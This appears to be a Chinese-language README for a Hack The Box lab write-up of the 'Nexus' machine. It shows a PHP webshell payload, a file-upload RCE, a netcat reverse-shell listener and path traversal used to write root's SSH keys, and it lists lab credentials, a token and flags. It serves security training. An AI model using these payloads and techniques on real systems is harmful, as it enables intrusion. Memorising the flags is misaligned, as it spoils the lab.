English 🇺🇸 | Español 🇪🇸
Nexus 是 Hack The Box 上一台简单难度的 Linux 机器,演示了一条多阶段攻击链,涉及虚拟主机枚举、暴露的凭据、易受攻击的 Web 应用功能、远程代码执行、凭据重用和本地权限提升。
侦察
│
▼
虚拟主机枚举
│
├── git.nexus.htb
└── billing.nexus.htb
│
▼
Gitea 提交历史
│
▼
暴露的凭据
│
▼
Krayin CRM 登录
│
▼
CVE-2026-38526
│
▼
PHP Webshell
│
▼
反向 Shell
(www-data)
│
▼
应用 .env
│
▼
以 jones 身份 SSH
│
▼
gitea-template-sync
│
▼
路径遍历
│
▼
恶意 Git 仓库
│
▼
以 root 身份 SSH
root目标 IP: 10.129.82.92
nmap -p- -sV -sC -oN nexus_full_scan.txt 10.129.82.92
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http nginx 1.24.0 (Ubuntu)
gobuster vhost \
-u http://nexus.htb \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
--append-domain
git.nexus.htb → Gitea
billing.nexus.htb → Krayin CRM
将发现的主机添加到 /etc/hosts:
echo "10.129.82.92 nexus.htb git.nexus.htb billing.nexus.htb" | sudo tee -a /etc/hosts
导航至:
http://git.nexus.htb
一个名为:
admin/krayin-docker-setup
的仓库在其 Git 历史中包含有用信息。
可以从之前的提交中恢复 .env 文件,从而发现当前版本中已不再存在的凭据。
| 服务 | 用户名 | 密码 |
|---|---|---|
| Krayin CRM | [email protected] | N27xh!!2ucY04 |
| Gitea | jones | N27xh!!2ucY04 |
邮箱地址 [email protected] 也在主网站的招聘板块中被识别出来。
URL: http://billing.nexus.htb/admin/login
邮箱: [email protected]
密码: N27xh!!2ucY04
导航至:
/admin/mail/sent
然后:
载荷存储在:
exploits/CVE-2026-38526/shell.php
载荷:
<?php system($_GET["cmd"]); ?>
相关的 multipart 字段为:
Content-Disposition: form-data; name="attachments[]"; filename="shell.php"
Content-Type: application/x-php
上传成功后:
http://billing.nexus.htb/storage/emails/2/shell.php?cmd=id
预期结果:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
启动监听器:
nc -lvnp 4444
然后通过上传的 webshell 触发反向 shell。
Python 实现位于:
exploits/CVE-2026-38526/reverse_shell.py
在此阶段,获得的 shell 身份为:
www-data
检查 Krayin 配置:
cat /var/www/krayin/.env
发现凭据:
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR
cat /etc/passwd | grep sh$
识别出 jones 账户。
密码:
y27xb3ha!!74GbR
f20cbf9aeb6bb228d356a42ff49c1933
systemctl list-units | grep -i gitea
识别出以下服务和定时器:
gitea-template-sync.timer
gitea-template-sync.service
该服务以提升的权限执行。
/etc/gitea/template-sync.py
同步机制使用的路径构造可以通过路径遍历进行滥用。
生成 SSH 密钥对:
ssh-keygen -t ed25519 -f /tmp/nexus_root -N ""
cat /tmp/nexus_root.pub
Git 对象操作漏洞利用位于:
exploits/gitea_template_sync/exploit_git.py
创建仓库:
cd /tmp
rm -rf exploit
mkdir exploit
cd exploit
git init
python3 exploit_git.py
仓库必须使用:
main
分支。
通过以下地址生成个人访问令牌:
http://git.nexus.htb
导航至:
设置 → 应用
然后配置远程:
git remote set-url origin http://jones:[email protected]/jones/exploit.git
推送恶意仓库:
git push -f origin main
监控同步日志:
tail -f /var/log/template-sync.log
同步成功后,恶意 Git 树将被特权服务处理。
示例:
[2026-08-27 02:01:30] Syncing template: jones/exploit
[2026-08-27 02:01:30] synced: ../../../../../root/.ssh/authorized_keys
[2026-08-27 02:01:30] Template sync complete
一旦 SSH 公钥被写入 root 账户:
ssh -i /tmp/nexus_root [email protected]
验证访问:
whoami
预期:
root
获取 root flag:
cat /root/root.txt
85be1d2a3084e387da0e7dd118908c63
| Flag | 值 |
|---|---|
| User | f20cbf9aeb6bb228d356a42ff49c1933 |
| Root | 85be1d2a3084e387da0e7dd118908c63 |
这些凭据属于本仓库所记录的 Hack The Box 实验室环境。
htb-labs-nexus/
├── README.md
├── exploits/
│ ├── CVE-2026-38526/
│ │ ├── shell.php
│ │ ├── reverse_shell.py
│ │ └── burp_request.txt
│ └── gitea_template_sync/
│ ├── exploit_git.py
│ ├── create_repo.sh
│ └── key.pub
├── scripts/
│ ├── linpeas.sh
│ ├── LinEnum.sh
│ └── enum_services.sh
├── assets/
│ ├── nmap_scan.txt
│ ├── gobuster_vhost.txt
│ └── credentials.txt
├── screenshots/
│ ├── gitea_repo.png
│ ├── crm_login.png
│ ├── webshell.png
│ └── root_flag.png
└── notes/
├── methodology.md
├── commands.md
└── credentials.md
本仓库仅用于教育目的和授权的安全测试。
本文档中记录的技术、凭据、漏洞利用和命令不得在未经明确授权的情况下用于任何系统。
root 身份运行的服务可能成为权限提升的载体。⭐ 如果你觉得这篇 write-up 有用,请考虑给仓库点个星。
| 服务 | 用户名 | 密码 / 密钥 |
|---|
| Krayin CRM | [email protected] | N27xh!!2ucY04 |
| Gitea | jones | N27xh!!2ucY04 |
| Gitea Token | jones | 1dd7105bf7e57cad02c5a56af5d92703a7839364 |
| SSH | jones | y27xb3ha!!74GbR |
| SSH Root | root | /tmp/nexus_root |
| 工具 | 用途 |
|---|
| Nmap | 端口和服务枚举 |
| Gobuster | 虚拟主机枚举 |
| Burp Suite | HTTP 请求拦截和修改 |
| Git | 仓库分析和恶意仓库构造 |
| Python 3 | 漏洞利用脚本 |
| Netcat | 反向 shell 监听器 |
| LinEnum | Linux 枚举 |
| LinPEAS | 权限提升枚举 |
| SSH | 远程访问 |